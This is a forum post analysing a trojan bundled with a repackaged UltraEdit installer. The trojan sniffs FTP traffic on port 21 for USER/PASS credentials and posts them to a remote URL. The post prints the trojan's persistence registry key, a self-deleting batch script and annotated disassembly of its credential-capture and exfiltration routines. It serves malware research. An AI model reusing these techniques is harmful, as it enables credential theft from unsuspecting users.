吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 46709|回复: 43
收起左侧

[PC样本分析] 一个通过解析数据包获取密码的木马之详细分析 by pencil[LSG]

  [复制链接]
pencil 发表于 2010-9-20 15:32
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 是昔流芳 于 2011-2-11 12:10 编辑

IDA,">木马时间戳:2010-08-25 10:41:03
样本来源:http://www.crsky.com/soft/7033.html
详情:http://www.52pojie.cn/thread-62464-1-1.html
Hmily牛发现的霏凡站的【UltraEdit-32文本编辑器 v16.20.0.1009 汉化版】被捆绑了木马。
先谢谢Hmily牛提供样本。

MPC.exe分析(木马主体)

0,打开一个Mutex"__i386vm_jre1.6__",该Mutex由inetwh32.dll创建,避免重复感染。

1,创建%Sysemroot%\\inetwh32.dll,提取本身30号DDX资源并写入。

2,以隐藏窗口的方式运行"rundll32.exe "C:\WINDOWS\inetwh32.dll",wWinMain",注入dll并调用wWinMain函


3,创建注册表启动项:HKML\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
新建注册表项"Bluetooth",值为"rundll32.exe "C:\WINDOWS\inetwh32.dll",wWinMain"

4,在临时文件夹下创建并运行deleteMe.bat,内容为:
——————————————————————————————
代码:
:pp
del "C:\Documents and Settings\Administrator\桌面\MPC.exe"
if exist "C:\Documents and Settings\Administrator\桌面\MPC.exe" goto pp
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\deleteMe.bat"

——————————————————————————————
删除病毒和批处理自身。

——————————————————————————————


inetw32.dll分析

0,为rundll32.exe设置含有空ACL的SD,使得所有其他进程可以访问本进程。

1,创建Mutex  "__i386vm_jre1.6__"

2,创建名为"TtsWin"的隐藏窗口,创建1号定时器并立即触发,Timer处理函数中先获取本机IP,启动一个线程,
最后清除定时器自身。

3,在创建的线程中先另创建一个线程,循环执行代码
代码:
while(1)
{
    SleepEx(INFNITE, 1);
}

此线程用于执行post过滤的信息到远端服务器。用QueueUserAPC插入此线程。
然后绑定本机21端口,过滤数据包。

4,把截获到的用户名和密码post到http://passport.flashfxp.info/dll/FtpServer.dll,至于他到底是截获什么的帐号和密码我就不知道了~

5,下面是木马使用到的自定义数据结构,unkonw标记的为没使用到的数据。

接收的数据包结构:
代码:
struct _DATA_PACK{
    struct _STRUCT1{  
  DWORD index;    //低4位保存着数据包中第一个结构的大小,单位为4字节
  byte unkonw5;
  byte unkonw6;
  byte unkonw7;
  byte unkonw8;
  byte unkonw9;
  byte VerifyByte_Is_6;  //通过此位来是不是6,判断是否为要过滤的数据包
  byte unkonw11;
  byte unkonw12;
  DWORD dw1;  //存储指令类型相关信息,连贯的指令需要此处相同
  DWORD dw2;  //存储指令类型相关信息,连贯的指令需要此处相同
  ……
    }
    struct _STRUCT2{
  WORD w1;  //存储指令类型相关信息,连贯的指令需要此处相同
  WORD w2;  //存储指令类型相关信息,连贯的指令需要此处相同
  DWORD dw2;
  DWORD dw3;
  byte StructLength;    //高4位存储的是第二个结构的长度,单位为4字节
  byte sign;        //该位如果为1或4,则不处理该数据包
  ……
    }

    struct _INFO{
  char info[变长];//需要进行拦截的信息
  //用户名名格式:"USER XXXXXXX" X即为用户名,空格可以多个
  //密码格式: "PASS XXXXXX" X即为密码,空格可以多个
    }
}

10003180处保存的是_APP_DATA链表,大小为0x40个,_APP_DATA的长度为0x98
当21号端口收到指令,则从本链表最后提取一个结构,用于保存指令内容,并添加到OffSET_3160结构链表中等
待处理
代码:
struct _APP_DATA{
  DWORD pre_ptr_APPDATA;  //保存着上一个APP_DATA结构的指针,第一个节点的值为10003168
  DWORD next_ptr_APPDATA; //保存着下一个APP_DATA结构体指针,最后一个节点的值为10003168
  DWORD struct1dw2;  //指令类型匹配信息
  DWORD struct1dw1;  //指令类型匹配信息
  WORD struct2w2;    //指令类型匹配信息
  WORD struct2w1;    //指令类型匹配信息
  DWORD SystemStartedTime; //GetTickCount();
  char string[127];    //保存接收到的username or passwords
  ……
}

//该结构用与记录正在处理的APP_DATA结构链表,处理之后放到_APP_DATA结构链表最后
代码:
struct _OFFSET_3160{
  DWORD dw1;     //上一个指令结构,初始化时指向自身
  DWORD dw2;     //下一个指令结构初始化时指向自身
}

//该结构用于维护APP_DATA链表
代码:
struct _OFFSET_3168{
  DWORD ptr_LAST_APP_DATA; //保存着APP_DATA链表最后一个节点
  DWORD ptr_APP_DATA;  //保存着APP_DATA链表的第一个节点
}

//该结构为发送到远端服务器的信息格式结构
代码:
struct buffer_524{
  DWORD struct1dw2;  //指令类型匹配信息
  WORD struct2w2;    //指令类型匹配信息
  WORD UserNameLength;  //用户名长度
  char content[127]; //格式为"username password" 
}


————————————————————————————————————————————
MainThread  //数据包的主处理过程
代码:
.text:100013C0 ; int __cdecl MainThread(HANDLE hThread_Sleep, int buffer, int buflen)
.text:100013C0 MainThread      proc near               ; CODE XREF: MainProc+115p
.text:100013C0
.text:100013C0 Pass_Content    = byte ptr -80h
.text:100013C0 hThread_Sleep   = dword ptr  8
.text:100013C0 buffer          = dword ptr  0Ch
.text:100013C0 buflen          = dword ptr  10h
.text:100013C0
.text:100013C0                 push    ebp             ; 此函数处理21号端口接收到的信息
.text:100013C1                 mov     ebp, esp
.text:100013C3                 sub     esp, 80h
.text:100013C9                 push    ebx
.text:100013CA                 push    esi
.text:100013CB                 mov     esi, [ebp+buffer]
.text:100013CE                 xor     eax, eax        ; eax=0
.text:100013D0                 mov     al, [esi]       ; al=接受的信息的第一个byte
.text:100013D2                 mov     ecx, eax        ; ecx=接受的信息的第一个byte
.text:100013D4                 and     ecx, 1111b      ; ecx=buffer第一个byte的低4位
.text:100013D7                 cmp     byte ptr [esi+9], 6 ; 判断接收信息的第十个byte是否为6
.text:100013DB                 lea     ebx, [esi+ecx*4] ; ebx = STRUCT2
.text:100013DE                 jnz     loc_10001561
.text:100013E4                 and     al, 11110000b
.text:100013E6                 cmp     al, 1000000b
.text:100013E8                 jnz     loc_10001561
.text:100013EE                 movzx   eax, byte ptr [ebx+0Ch] ; eax = buffer中的(buffer第一个byte的低4位 * 4 + 0x0C)位
.text:100013F2                 shr     eax, 4          ; eax = eax / 16
.text:100013F5                 add     eax, ecx        ; eax = eax + 接收信息中第一个byte的低4位
.text:100013F7                 push    edi
.text:100013F8                 mov     edi, [ebp+buflen] ; edi = 接收信息长度
.text:100013FB                 shl     eax, 2          ; eax = eax * 4  eax = 数据包头大小
.text:100013FE                 sub     edi, eax        ; edi = edi - eax
.text:10001400                 cmp     edi, 5          ; edi = 数据包 - 数据包头后剩余的信息长度
.text:10001403                 lea     ecx, [eax+esi]
.text:10001406                 mov     [ebp+buffer], ecx ; 在第一个DWORD中保存实体数据的指针
.text:10001409                 jbe     INFO_less_equal_5
.text:1000140F                 cmp     edi, 1500       ; 如果实体数据长度不小于1500
.text:10001415                 jnb     INFO_less_equal_5
.text:1000141B                 push    5               ; 如果 5<实体数据长度<1500 则来到这里
.text:1000141D                 push    offset aUser    ; "USER "
.text:10001422                 push    ecx             ; buffer + eax
.text:10001423                 call    VerifyInfo
.text:10001428                 add     esp, 0Ch
.text:1000142B                 test    eax, eax
.text:1000142D                 push    5
.text:1000142F                 jz      short loc_10001492
.text:10001431                 pop     ecx             ; ecx = 5
.text:10001432                 cmp     edi, ecx
.text:10001434                 jbe     short loc_10001444
.text:10001436
.text:10001436 loc_10001436:                           ; CODE XREF: MainThread+82j
.text:10001436                 mov     eax, [ebp+buffer]
.text:10001439                 cmp     byte ptr [ecx+eax], ' '
.text:1000143D                 jnz     short loc_10001444
.text:1000143F                 inc     ecx
.text:10001440                 cmp     ecx, edi
.text:10001442                 jb      short loc_10001436
.text:10001444
.text:10001444 loc_10001444:                           ; CODE XREF: MainThread+74j
.text:10001444                                         ; MainThread+7Dj
.text:10001444                 xor     edx, edx
.text:10001446                 jmp     short loc_10001465
.text:10001448 ; ---------------------------------------------------------------------------
.text:10001448
.text:10001448 loc_10001448:                           ; CODE XREF: MainThread+A7j
.text:10001448                 cmp     edx, 127
.text:1000144B                 jge     short loc_10001469
.text:1000144D                 mov     eax, [ebp+buffer]
.text:10001450                 mov     al, [ecx+eax]
.text:10001453                 cmp     al, 13          ; 不是回车
.text:10001455                 jz      short loc_10001469
.text:10001457                 cmp     al, 10          ; 不是换行
.text:10001459                 jz      short loc_10001469
.text:1000145B                 test    al, al          ; 空格则直接跳转
.text:1000145D                 jz      short loc_10001469
.text:1000145F                 mov     [ebp+edx+Pass_Content], al ; 填充内容
.text:10001463                 inc     ecx
.text:10001464                 inc     edx
.text:10001465
.text:10001465 loc_10001465:                           ; CODE XREF: MainThread+86j
.text:10001465                 cmp     ecx, edi
.text:10001467                 jb      short loc_10001448
.text:10001469
.text:10001469 loc_10001469:                           ; CODE XREF: MainThread+8Bj
.text:10001469                                         ; MainThread+95j ...
.text:10001469                 lea     eax, [ebp+Pass_Content]
.text:1000146C                 push    eax             ; lpString2
.text:1000146D                 xor     eax, eax
.text:1000146F                 mov     ax, [ebx]       ; ax=STRUCT2.w1
.text:10001472                 mov     [ebp+edx+Pass_Content], 0 ; 字符串后补0
.text:10001477                 push    eax             ; STRUCT2.w1
.text:10001478                 xor     eax, eax
.text:1000147A                 mov     ax, [ebx+2]     ; ax=STRUCT2.w2
.text:1000147E                 push    eax             ; STRUCT2.w2
.text:1000147F                 push    dword ptr [esi+0Ch] ; STRUCT1.dw1
.text:10001482                 push    dword ptr [esi+10h] ; STRUCT1.dw2
.text:10001485                 call    SaveToStruct    ; 保存数据到全局链表_APP_DATA的最后一个节点中
.text:10001485                                         ; 并从链表中剔除此节点,然后用OFFSET_3160结构记录此节点
.text:1000148A                 add     esp, 14h
.text:1000148D                 jmp     loc_10001560
.text:10001492 ; ---------------------------------------------------------------------------
.text:10001492
.text:10001492 loc_10001492:                           ; CODE XREF: MainThread+6Fj
.text:10001492                 push    offset aPass    ; "PASS "
.text:10001497                 push    [ebp+buffer]
.text:1000149A                 call    VerifyInfo
.text:1000149F                 add     esp, 0Ch
.text:100014A2                 test    eax, eax
.text:100014A4                 jz      loc_10001560
.text:100014AA                 push    5
.text:100014AC                 pop     ecx
.text:100014AD                 cmp     edi, ecx
.text:100014AF                 jbe     short loc_100014BF
.text:100014B1
.text:100014B1 loc_100014B1:                           ; CODE XREF: MainThread+FDj
.text:100014B1                 mov     eax, [ebp+buffer]
.text:100014B4                 cmp     byte ptr [ecx+eax], ' '
.text:100014B8                 jnz     short loc_100014BF
.text:100014BA                 inc     ecx
.text:100014BB                 cmp     ecx, edi
.text:100014BD                 jb      short loc_100014B1
.text:100014BF
.text:100014BF loc_100014BF:                           ; CODE XREF: MainThread+EFj
.text:100014BF                                         ; MainThread+F8j
.text:100014BF                 xor     edx, edx
.text:100014C1                 jmp     short loc_100014E0
.text:100014C3 ; ---------------------------------------------------------------------------
.text:100014C3
.text:100014C3 loc_100014C3:                           ; CODE XREF: MainThread+122j
.text:100014C3                 cmp     edx, 127        ; 限制长度为127
.text:100014C6                 jge     short loc_100014E4
.text:100014C8                 mov     eax, [ebp+buffer]
.text:100014CB                 mov     al, [ecx+eax]   ; 取密码
.text:100014CE                 cmp     al, 13          ; 不是回车
.text:100014D0                 jz      short loc_100014E4
.text:100014D2                 cmp     al, 10          ; 不是换行
.text:100014D4                 jz      short loc_100014E4
.text:100014D6                 test    al, al          ; 空格,则直接跳转
.text:100014D8                 jz      short loc_100014E4
.text:100014DA                 mov     [ebp+edx+Pass_Content], al ; 填充内容
.text:100014DE                 inc     ecx
.text:100014DF                 inc     edx
.text:100014E0
.text:100014E0 loc_100014E0:                           ; CODE XREF: MainThread+101j
.text:100014E0                 cmp     ecx, edi
.text:100014E2                 jb      short loc_100014C3
.text:100014E4
.text:100014E4 loc_100014E4:                           ; CODE XREF: MainThread+106j
.text:100014E4                                         ; MainThread+110j ...
.text:100014E4                 xor     eax, eax
.text:100014E6                 mov     ax, [ebx]       ; eax=STRUCT2.w1
.text:100014E9                 mov     [ebp+edx+Pass_Content], 0 ; 末尾补0
.text:100014EE                 push    eax
.text:100014EF                 xor     eax, eax
.text:100014F1                 mov     ax, [ebx+2]     ; eax=STRUCT2.w2
.text:100014F5                 push    eax
.text:100014F6                 push    dword ptr [esi+0Ch] ; STRUCT1.dw1
.text:100014F9                 push    dword ptr [esi+10h] ; STRUCT1.dw2
.text:100014FC                 call    VerifyData      ; 如果输入的是密码,则进行指令匹配
.text:10001501                 mov     edi, eax        ; 返回对应的节点指针
.text:10001503                 add     esp, 10h
.text:10001506                 test    edi, edi
.text:10001508                 jz      short loc_10001560
.text:1000150A                 lea     eax, [ebp+Pass_Content]
.text:1000150D                 push    eax             ; 输入的PASS 内容
.text:1000150E                 lea     eax, [edi+18h]
.text:10001511                 push    eax             ; 输入的USER内容
.text:10001512                 xor     eax, eax
.text:10001514                 mov     ax, [ebx+2]
.text:10001518                 push    eax             ; STRUCT2.w2
.text:10001519                 push    dword ptr [esi+10h] ; STRUCT1.dw2
.text:1000151C                 push    [ebp+hThread_Sleep] ; hThread_Sleep
.text:1000151F                 call    PostUserPass
.text:10001524                 push    edi
.text:10001525                 call    MoveNodeToLast  ; 移动节点到链表最后
.text:1000152A                 add     esp, 18h
.text:1000152D                 jmp     short loc_10001560
.text:1000152F ; ---------------------------------------------------------------------------
.text:1000152F
.text:1000152F INFO_less_equal_5:                      ; CODE XREF: MainThread+49j
.text:1000152F                                         ; MainThread+55j
.text:1000152F                 mov     al, [ebx+13]
.text:10001532                 test    al, 4           ; 该位不能是4
.text:10001534                 jz      short loc_10001560
.text:10001536                 test    al, 1           ; 该位不能是1
.text:10001538                 jz      short loc_10001560
.text:1000153A                 xor     eax, eax
.text:1000153C                 mov     ax, [ebx]
.text:1000153F                 push    eax
.text:10001540                 xor     eax, eax
.text:10001542                 mov     ax, [ebx+2]
.text:10001546                 push    eax
.text:10001547                 push    dword ptr [esi+0Ch]
.text:1000154A                 push    dword ptr [esi+10h]
.text:1000154D                 call    VerifyData      ; 验证指令
.text:10001552                 add     esp, 10h
.text:10001555                 test    eax, eax
.text:10001557                 jz      short loc_10001560
.text:10001559                 push    eax
.text:1000155A                 call    MoveNodeToLast
.text:1000155F                 pop     ecx
.text:10001560
.text:10001560 loc_10001560:                           ; CODE XREF: MainThread+CDj
.text:10001560                                         ; MainThread+E4j ...
.text:10001560                 pop     edi
.text:10001561
.text:10001561 loc_10001561:                           ; CODE XREF: MainThread+1Ej
.text:10001561                                         ; MainThread+28j
.text:10001561                 pop     esi
.text:10001562                 pop     ebx
.text:10001563                 leave
.text:10001564                 retn
.text:10001564 MainThread      endp

PostUserPass  //发送拦截到的username,password 到远端服务器
代码:
.text:10001351 ; int __cdecl PostUserPass(HANDLE hThread_Sleep, int STRUCT1.dw2, __int16 STRUCT2.w2, LPCSTR User_Content, int Pass_Content)
.text:10001351 PostUserPass    proc near               ; CODE XREF: MainThread+15Fp
.text:10001351
.text:10001351 hThread_Sleep   = dword ptr  8
.text:10001351 STRUCT1.dw2     = dword ptr  0Ch
.text:10001351 STRUCT2.w2      = word ptr  10h
.text:10001351 User_Content    = dword ptr  14h
.text:10001351 Pass_Content    = dword ptr  18h
.text:10001351
.text:10001351 buffer_524 = esi
.text:10001351                 push    ebp
.text:10001352                 mov     ebp, esp
.text:10001354                 push    buffer_524
.text:10001355                 push    524             ; Size
.text:1000135A                 call    malloc
.text:1000135F                 mov     buffer_524, eax
.text:10001361                 test    buffer_524, buffer_524
.text:10001363                 pop     ecx
.text:10001364                 jz      short loc_100013BD
.text:10001366                 mov     eax, [ebp+STRUCT1.dw2]
.text:10001369                 push    ebx
.text:1000136A                 push    edi
.text:1000136B                 mov     edi, ds:lstrcpynA
.text:10001371                 push    127             ; iMaxLength
.text:10001373                 push    [ebp+User_Content] ; lpString2
.text:10001376                 mov     [buffer_524], eax
.text:10001378                 mov     ax, [ebp+STRUCT2.w2]
.text:1000137C                 lea     ebx, [buffer_524+8]
.text:1000137F                 push    ebx             ; lpString1
.text:10001380                 mov     [buffer_524+4], ax
.text:10001384                 call    edi ; lstrcpynA
.text:10001386                 push    ebx             ; lpString
.text:10001387                 call    ds:lstrlenA     ; 取得用户名长度
.text:1000138D                 inc     eax             ; 长度+1
.text:1000138E                 mov     [buffer_524+6], ax
.text:10001392                 push    127             ; iMaxLength
.text:10001394                 push    [ebp+Pass_Content] ; lpString2
.text:10001397                 movzx   eax, ax
.text:1000139A                 lea     eax, [eax+buffer_524+8]
.text:1000139E                 push    eax             ; lpString1
.text:1000139F                 call    edi ; lstrcpynA
.text:100013A1                 push    buffer_524      ; dwData
.text:100013A2                 push    [ebp+hThread_Sleep] ; hThread
.text:100013A5                 push    offset pfnAPC   ; pfnAPC
.text:100013AA                 call    ds:QueueUserAPC ; 使用单独的线程来执行pfnAPC函数
.text:100013B0                 test    eax, eax
.text:100013B2                 pop     edi
.text:100013B3                 pop     ebx
.text:100013B4                 jnz     short loc_100013BD
.text:100013B6                 push    buffer_524      ; Memory
.text:100013B7                 call    free
.text:100013BC                 pop     ecx
.text:100013BD
.text:100013BD loc_100013BD:                           ; CODE XREF: PostUserPass+13j
.text:100013BD                                         ; PostUserPass+63j
.text:100013BD                 pop     buffer_524
.text:100013BE                 pop     ebp
.text:100013BF                 retn
.text:100013BF PostUserPass    endp

SaveToStruct    //从APP_DATA结构链表中最后提取一个结构用于保存数据包信息,插入OFFSET_3160链表中等待处理
代码:
.text:10001094 ; int __cdecl SaveToStruct(int STRUCT1.dw2, int STRUCT1.dw1, __int16 STRUCT2.w2, __int16 STRUCT2.w1, LPCSTR lpString2)
.text:10001094 SaveToStruct    proc near               ; CODE XREF: MainThread+C5p
.text:10001094
.text:10001094 systemStartedTime= dword ptr -4
.text:10001094 STRUCT1.dw2     = dword ptr  8
.text:10001094 STRUCT1.dw1     = dword ptr  0Ch
.text:10001094 STRUCT2.w2      = word ptr  10h
.text:10001094 STRUCT2.w1      = word ptr  14h
.text:10001094 lpString2       = dword ptr  18h
.text:10001094
.text:10001094                 push    ebp
.text:10001095                 mov     ebp, esp
.text:10001097                 push    ecx
.text:10001098                 push    esi
.text:10001099                 push    edi
.text:1000109A                 push    offset CriticalSection ; lpCriticalSection
.text:1000109F                 call    ds:EnterCriticalSection
.text:100010A5                 mov     esi, dword_10003168
.text:100010AB                 cmp     esi, offset dword_10003168
.text:100010B1                 jz      short loc_1000110B ; 如果结构3160为空,则跳转
.text:100010B3                 mov     eax, [esi]      ; eax = 上一个APP_DATA结构指针
.text:100010B5                 lea     edi, [esi+4]
.text:100010B8                 mov     ecx, [edi]      ; ecx = 下一个APP_DATA结构指针
.text:100010BA                 mov     [ecx], eax      ; OFFSET_3168.ptr_LAST_APP_DATA = 上一个节点
.text:100010BC                 mov     [eax+4], ecx    ; 上一个节点的next_APP_DATA被设置为OFFSET_3168
.text:100010BC                                         ; 此出操作为从链表后删除一个节点
.text:100010BF                 mov     eax, [ebp+STRUCT1.dw2]
.text:100010C2                 mov     [esi+8], eax
.text:100010C5                 mov     ax, [ebp+STRUCT2.w2]
.text:100010C9                 mov     [esi+10h], ax
.text:100010CD                 mov     eax, [ebp+STRUCT1.dw1]
.text:100010D0                 mov     [esi+0Ch], eax
.text:100010D3                 mov     ax, [ebp+STRUCT2.w1]
.text:100010D7                 mov     [esi+12h], ax
.text:100010DB                 call    ds:GetTickCount
.text:100010E1                 push    127             ; iMaxLength
.text:100010E3                 push    [ebp+lpString2] ; lpString2
.text:100010E6                 mov     [esi+14h], eax
.text:100010E9                 lea     eax, [esi+18h]
.text:100010EC                 push    eax             ; lpString1
.text:100010ED                 call    ds:lstrcpynA
.text:100010F3                 mov     eax, dword_10003160
.text:100010F8                 mov     [esi], eax      ; APP_DATA.pre_ptr_APPDATA = OFFSET_3160
.text:100010FA                 mov     dword ptr [edi], offset dword_10003160 ; APP_DATA.next_ptr_APPDATA = offset 10003160
.text:10001100                 mov     [eax+4], esi    ; OFFSET_3160.dw2 = 最后一个节点ptr_LAST_APP_DATA
.text:10001103                 mov     dword_10003160, esi ; 3160.dw1 = 3168.ptr_LAST_APP_DATA
.text:10001109                 jmp     short loc_10001168
.text:1000110B ; ---------------------------------------------------------------------------
.text:1000110B
.text:1000110B loc_1000110B:                           ; CODE XREF: SaveToStruct+1Dj
.text:1000110B                 mov     edi, ds:GetTickCount
.text:10001111                 push    ebx
.text:10001112                 call    edi ; GetTickCount
.text:10001114                 mov     esi, dword_10003160 ; esi = 3160.dw1
.text:1000111A                 mov     [ebp+systemStartedTime], eax
.text:1000111D                 mov     ebx, offset dword_10003160
.text:10001122                 jmp     short loc_10001163
.text:10001124 ; ---------------------------------------------------------------------------
.text:10001124
.text:10001124 loc_10001124:                           ; CODE XREF: SaveToStruct+D1j
.text:10001124                 mov     eax, [ebp+systemStartedTime] ; 在OFFSET_3160链表中查找过期指令,并覆盖
.text:10001127                 sub     eax, [esi+14h]  ; 计算两条指令的时间间隔
.text:1000112A                 cmp     eax, 90000
.text:1000112F                 jbe     short loc_10001161 ; 如果<= 90秒
.text:10001131                 mov     eax, [ebp+STRUCT1.dw2]
.text:10001134                 mov     [esi+8], eax
.text:10001137                 mov     ax, [ebp+STRUCT2.w2]
.text:1000113B                 mov     [esi+10h], ax
.text:1000113F                 mov     eax, [ebp+STRUCT1.dw1]
.text:10001142                 mov     [esi+0Ch], eax
.text:10001145                 mov     ax, [ebp+STRUCT2.w1]
.text:10001149                 mov     [esi+12h], ax
.text:1000114D                 call    edi ; GetTickCount
.text:1000114F                 push    127             ; iMaxLength
.text:10001151                 push    [ebp+lpString2] ; lpString2
.text:10001154                 mov     [esi+14h], eax
.text:10001157                 lea     eax, [esi+18h]
.text:1000115A                 push    eax             ; lpString1
.text:1000115B                 call    ds:lstrcpynA
.text:10001161
.text:10001161 loc_10001161:                           ; CODE XREF: SaveToStruct+9Bj
.text:10001161                 mov     esi, [esi]
.text:10001163
.text:10001163 loc_10001163:                           ; CODE XREF: SaveToStruct+8Ej
.text:10001163                 cmp     esi, ebx
.text:10001165                 jnz     short loc_10001124
.text:10001167                 pop     ebx
.text:10001168
.text:10001168 loc_10001168:                           ; CODE XREF: SaveToStruct+75j
.text:10001168                 push    offset CriticalSection ; lpCriticalSection
.text:1000116D                 call    ds:LeaveCriticalSection
.text:10001173                 pop     edi
.text:10001174                 pop     esi
.text:10001175                 leave
.text:10001176                 retn
.text:10001176 SaveToStruct    endp

GetCurIPAddr  //获取本机当前IP
代码:
.text:10001684 GetCurIPAddr    proc near               ; CODE XREF: WndProc+28p
.text:10001684
.text:10001684 pdwBestIfIndex  = dword ptr -0Ch
.text:10001684 SizePointer     = dword ptr -8
.text:10001684 curIP           = dword ptr -4
.text:10001684
.text:10001684                 push    ebp
.text:10001685                 mov     ebp, esp
.text:10001687                 sub     esp, 0Ch
.text:1000168A                 and     [ebp+curIP], 0
.text:1000168E                 push    ebx
.text:1000168F                 mov     ebx, ds:inet_addr
.text:10001695                 lea     eax, [ebp+pdwBestIfIndex]
.text:10001698                 push    eax             ; pdwBestIfIndex
.text:10001699                 push    offset cp       ; "8.8.8.8"
.text:1000169E                 call    ebx ; inet_addr
.text:100016A0                 push    eax             ; dwDestAddr
.text:100016A1                 call    GetBestInterface
.text:100016A6                 test    eax, eax
.text:100016A8                 jnz     short loc_100016F9
.text:100016AA                 push    esi
.text:100016AB                 push    edi
.text:100016AC                 mov     edi, 10000h
.text:100016B1                 push    edi             ; Size
.text:100016B2                 call    malloc
.text:100016B7                 mov     esi, eax
.text:100016B9                 test    esi, esi
.text:100016BB                 pop     ecx
.text:100016BC                 jz      short loc_100016F7
.text:100016BE                 lea     eax, [ebp+SizePointer]
.text:100016C1                 push    eax             ; SizePointer
.text:100016C2                 mov     [ebp+SizePointer], edi
.text:100016C5                 push    esi             ; AdapterInfo
.text:100016C6                 mov     edi, esi
.text:100016C8                 call    GetAdaptersInfo ; 获取当前网卡信息
.text:100016CD                 test    eax, eax
.text:100016CF                 jnz     short loc_100016F0
.text:100016D1
.text:100016D1 loc_100016D1:                           ; CODE XREF: GetCurIPAddr+5Cj
.text:100016D1                 mov     eax, [esi+19Ch]
.text:100016D7                 cmp     eax, [ebp+pdwBestIfIndex]
.text:100016DA                 jz      short loc_100016E4
.text:100016DC                 mov     esi, [esi]
.text:100016DE                 test    esi, esi
.text:100016E0                 jnz     short loc_100016D1
.text:100016E2                 jmp     short loc_100016F0
.text:100016E4 ; ---------------------------------------------------------------------------
.text:100016E4
.text:100016E4 loc_100016E4:                           ; CODE XREF: GetCurIPAddr+56j
.text:100016E4                 add     esi, IP_ADAPTER_INFO.IpAddressList.IpAddress
.text:100016EA                 push    esi             ; cp
.text:100016EB                 call    ebx ; inet_addr
.text:100016ED                 mov     [ebp+curIP], eax
.text:100016F0
.text:100016F0 loc_100016F0:                           ; CODE XREF: GetCurIPAddr+4Bj
.text:100016F0                                         ; GetCurIPAddr+5Ej
.text:100016F0                 push    edi             ; Memory
.text:100016F1                 call    free
.text:100016F6                 pop     ecx
.text:100016F7
.text:100016F7 loc_100016F7:                           ; CODE XREF: GetCurIPAddr+38j
.text:100016F7                 pop     edi
.text:100016F8                 pop     esi
.text:100016F9
.text:100016F9 loc_100016F9:                           ; CODE XREF: GetCurIPAddr+24j
.text:100016F9                 mov     eax, [ebp+curIP]
.text:100016FC                 pop     ebx
.text:100016FD                 leave
.text:100016FE                 retn
.text:100016FE GetCurIPAddr    endp

MoveNodeToLast  //把指定节点连接到APP_DATA链表的最后
代码:
.text:10001177 MoveNodeToLast  proc near               ; CODE XREF: MainThread+165p
.text:10001177                                         ; MainThread+19Ap
.text:10001177
.text:10001177 _APP_DATA       = dword ptr  4
.text:10001177
.text:10001177                 push    esi             ; 此函数把当前节点移到链表的最后
.text:10001178                 mov     esi, offset CriticalSection
.text:1000117D                 push    esi             ; lpCriticalSection
.text:1000117E                 call    ds:EnterCriticalSection
.text:10001184                 mov     eax, [esp+4+_APP_DATA]
.text:10001188                 mov     ecx, [eax]      ; ecx=pre_ptr_APPDATA
.text:1000118A                 mov     edx, [eax+4]    ; edx=next_ptr_APPDATA
.text:1000118D                 mov     [edx], ecx      ; 下一个节点的上一个节点修改为本节点的上一个节点
.text:1000118F                 mov     [ecx+4], edx    ; 上一个节点的下一个节点修改为本节点的下一个节点
.text:10001192                 mov     ecx, dword_10003168 ; ecx = 最后一个节点
.text:10001198                 mov     [eax], ecx      ; 本节点的上一个节点修改为最后一个节点
.text:1000119A                 mov     dword ptr [eax+4], offset dword_10003168 ; 本节点的下一个节点修改为offset 10003168
.text:100011A1                 mov     [ecx+4], eax    ; 最后一个节点的下一个节点修改为本节点
.text:100011A4                 push    esi             ; lpCriticalSection
.text:100011A5                 mov     dword_10003168, eax ; offset 10003168的ptr_LAST_APP_DATA修改为本节点
.text:100011AA                 call    ds:LeaveCriticalSection
.text:100011B0                 pop     esi
.text:100011B1                 retn
.text:100011B1 MoveNodeToLast  endp

idb中有还算详细的注释,想深点了解的朋友可以直接看idb,附件中包含了病毒样本。

感谢所有看到这里的朋友,如有错误或不足希望能指出。


MPC.idb and inetwh32.idb.rar (95.82 KB, 下载次数: 207)

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

19nuclear91 发表于 2010-10-8 18:56
没看懂  不过还是学习了
hixiaosheng 发表于 2010-9-20 15:42
hzyqpal 发表于 2010-9-20 15:52
 楼主| pencil 发表于 2010-9-20 15:59
对病毒分析很感兴趣。可惜真的看不懂
hzyqpal 发表于 2010-9-20 15:52



   我刚发了一个入门级的病毒分析帖,注释还算详细。
toolpc 发表于 2010-9-20 16:38
:) 很详细。。。容易理解.很好很强大.
abe520 发表于 2010-9-20 18:54
容易理解.很好很强大.
toolpc 发表于 2010-9-25 05:31
。。很好,。顶一个要不分都不够下附件了。
wenjin227 发表于 2010-9-30 11:23
话说这个能过360吗?
寂静 发表于 2010-10-7 22:03
谢谢 很详细。。。容易理解.很好很强大.
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 17:26

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表